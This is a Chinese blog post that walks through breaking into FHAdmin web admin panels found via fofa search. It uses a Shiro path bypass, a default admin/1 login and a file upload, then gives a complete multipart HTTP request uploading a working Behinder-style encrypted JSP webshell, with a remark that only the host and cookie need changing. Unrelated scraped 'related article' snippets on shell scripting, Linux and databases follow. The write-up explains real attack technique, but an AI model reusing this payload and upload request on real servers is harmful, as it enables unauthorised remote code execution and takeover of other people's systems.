又是一个愉快的摸鱼的一天,闲来无事去逛先知社区突然看到了一篇名为shrio权限实战绕过的文章(https://xz.aliyun.com/t/8311),这时不禁突然 回想起来之前看到过的一个微信公众号文章那夜我做了个梦,差点我就相信了

于是便开启了新一轮的探索,我们可以去fofa去查找 intitle:FHAdmin,当然我之前是搜索过的所以在我打开搜索框输入 fh的一刹那便出现了我要的网站。

下面开始正式实战

这是我们的目标网站:

 

 

结合先知社区中看到的登录框图片:

真的是出人意料的相似啊,有木有.

当然在做这个实验的时候我们还是要先验证是否存在shiro漏洞的。

当然文章中说是额米有爆破出来密码的但是,我之前看过的微信文章之后是知道存在 管理员账号密码的 :admin/1

再记住密码的情况下

好家伙直接cookie明文传输密码。

OK,接下来就按照文章中的构造吧

发现上传成功,但是居然找不到文件。

于是接着看,文章中再上传点需要请求参数?uploadPath=/plugins/uploadify/

/;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/

当然 在我在实验中还遇到了其他的问题,那就是光照猫画虎,没有注意到需要构造完整的文件上传包了,有点憨批了。

完整的如下截图:

POST /;/plugins/uploadify/uploadFile.jsp?uploadPath=/plugins/uploadify/ HTTP/1.1

Host: x.x.x.x

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2

Accept-Encoding: gzip, deflate

Content-Type: multipart/form-data; boundary=---------------------------1873137538776189788600609431

Content-Length: 772

Connection: close

Cookie: JSESSIONID=587CDE2437A0AE2C40FB25DE5D71339C

Upgrade-Insecure-Requests: 1

DNT: 1

X-Forwarded-For: 127.0.0.1

-----------------------------1873137538776189788600609431

Content-Disposition: form-data; name="imgFile"; filename="shell.jsp"

Content-Type: application/octet-stream

AAAAA<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>bbbb

-----------------------------1873137538776189788600609431

【其他类似的情况下只需要修改 host以及cookie就可以了】,这里我用的冰蝎,走起直接上传webshell。

FHAdmin实战获取shell的更多相关文章

  1. linux c程序中获取shell脚本输出的实现方法

    linux c程序中获取shell脚本输出的实现方法 1. 前言Unix界有一句名言:“一行shell脚本胜过万行C程序”,虽然这句话有些夸张,但不可否认的是,借助脚本确实能够极大的简化一些编程工作. ...

  2. Python学习总结10:获取shell输出结果

    Python中获取shell命令的输出结果的常见方法如下几种: 1. import subprocess output = subprocess.Popen(['ls','-l'],stdout=su ...

  3. linux 获取shell内置命令帮助信息 help xx

    shell,命令解释器 shell内置命令有cd/umask/pwd等 help shell内置命令适用于所有用户获取shell内置命令的帮助信息help umaskhelp if

  4. 怎样获取shell函数的返回值及shell命令的返回值?

    1.获取shell函数调用的返回值: #!/bin/sh info() { cat jlb.sh } res=`info` echo "state: "$? echo " ...

  5. python获取shell输出(转)

    From:http://www.cnblogs.com/snow-backup/p/5035792.html   python中获取shell命令输出的方法: 1.  import subproces ...

  6. 登陆获取shell时的配置文件加载过程

    最近遇到一台ubuntu服务器登陆时默认语言环境变量变成posix问题, 导致中文显示乱码,影响程序的正常运行 # locale LANG= LANGUAGE= LC_CTYPE="POSI ...

  7. c获取shell中的参数

    问题背景 在Linux中我们会使用到shell,来完成输入参数的获取,就如同下面的形式,这种形式在进行多语言编程和调用有着非常重要的作用 一.传递的过程 1.1 原理模型如下: 1.1.1 可执行sh ...

  8. shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查)

    shell编程系列22--shell操作数据库实战之shell脚本与MySQL数据库交互(增删改查) Shell脚本与MySQL数据库交互(增删改查) # 环境准备:安装mariadb 数据库 [ro ...

  9. jenkins pipeline中获取shell命令的标准输出或者状态

    //获取标准输出//第一种 result = sh returnStdout: true ,script: "<shell command>" result = res ...

  10. 获取Shell后的操作

    对于Windows系统主机和Linux系统主机,获取Shell后的操作都不同. Windows 当我们通过对Web服务器进行渗透,拿到了该Web服务器的shell后,可以执行系统命令后,我们该如何操作 ...

随机推荐

  1. 远程ubuntu虚拟机(VirtualBox)

    环境 实机win10,虚拟软件是Oracle VM VirtualBox 下载地址https://www.virtualbox.org/ ubuntu虚拟机配置 网络选桥接网卡, 原因是桥接网卡下,根 ...

  2. Oracle数据库字符集与国家字符集

    一般情况下数据库字符集UTF-8:国家字符集:UTF-16.   服务器端:(oracle服务器端字符集)数据库字符集在创建数据库时指定,在创建后通常不能更改.在创建数据库时,可以指定字符集(CHAR ...

  3. 浅谈tcp 与udp

    tcp是一种面向连接的.可靠的.基于字节流的传输层通信协议.是专门为了在不可靠的互联网络上提供一个可靠的端到端字节流而设计的,面向字节流. udp(用户数据报协议)是iso参考模型中一种无连接的传输层 ...

  4. ssh_remote_without_password

    2 machines, 1 called client , 1 called server , server need static ip address. client connects serve ...

  5. H5 判断当前浏览器环境是 微信还是支付宝

    let ua = window.navigator.userAgent.toLowerCase(); //判断是不是微信 if (ua.match(/MicroMessenger/i) == &quo ...

  6. linux 中sed命令如何删除第一列和最后一列

    删除第一列 (base) root@PC1:/home/test# cat test.txt1 MIR1302-10 12 FAM138A 23 OR4F5 34 RP11-34P13.7 45 RP ...

  7. plsql--游标用法

    1.游标概念 在 PL/SQL 块中执行 SELECT.INSERT.DELETE 和 UPDATE 语句时,ORACLE 会在内存中为其分配上下文区(Context Area),即缓冲区.游标是指向 ...

  8. Java基础——控制语句、switch结构与三元运算符

    package com.zhao.demo; public class Demo03 { public static void main(String[] args) { int num=1; swi ...

  9. java统计一个文本文件英文单词

    package test;import java.io.*;import java.util.*;public class wordCount2 { public static void main(S ...

  10. STM32F103 的 USART5使用

    STM32F103zet6 的串口5是UART5   不是  USART5